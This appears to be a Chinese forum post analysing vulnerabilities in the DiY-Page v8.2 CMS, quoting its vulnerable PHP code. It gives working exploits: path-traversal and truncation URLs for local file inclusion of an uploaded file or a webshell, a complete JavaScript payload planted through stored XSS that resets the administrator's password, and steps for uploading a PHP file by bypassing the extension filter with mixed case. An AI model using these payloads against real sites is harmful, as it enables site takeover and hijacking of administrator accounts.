看到有位同鞋发了个DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc..

    A、本地文件包含漏洞

//js.php
$incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php';
if (!include $incfile) dperror($l_error['cant_include'],$incfile,true);

    这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。

    我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。

Poc:

http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file/////////////////

http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell

    B、Xss 跨站漏洞

    跨站比较多,完全没过滤,类似的代码有:

  if ($_POST['issubmit']==true) { 
  $fidarray=trim($_POST['fidarray'],',');
  $backurl='javascript:history.go(-1);';
  $actionurlold=$actionurl;
  $actionurl.='&do=list&cataid='.$_GET['cataid'];
  $entrytitle=$_POST['entrytitle'];
  $entrycontent=$_POST['entrycontent'];
  $entrytag=trim($_POST['entrytag']);
  …… 

    可在发布条目的标题处写js,这个XSS跨首页也跨后台。

    既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:

var xmlhttp=false;
if(window.XMLHttpRequest){
  xmlhttp=new XMLHttpRequest();
}else if(window.ActiveXObject){
  xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");
if(!xmlhttp){xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}
}
var action="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20";
var data="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=&regip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true";
xmlhttp.open("POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);

    C、上传漏洞

    DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:

 /inc/func.php
function get_upload_filename($realname) {
 $exttmp=explode(".",$realname);
 $ext=$exttmp[count($exttmp)-1];    
 $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext);   //过滤可执行文件
 $filepath=get_upload_path().'/';
 $filesubdir=date('Ym').'/';
 mkdir($filepath.$filesubdir,0777);
 $datetmp=explode(" ",microtime());
 $filesuffix=substr(md5($datetmp[1]),0,6);
 if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file';    //后缀加上.file
 $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext;
 $filepath.=$filename;
 return array('filename'=>$filename,'filepath'=>$filepath);

    get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。

    注册会员->发布条目->上传 *.PHp 即可。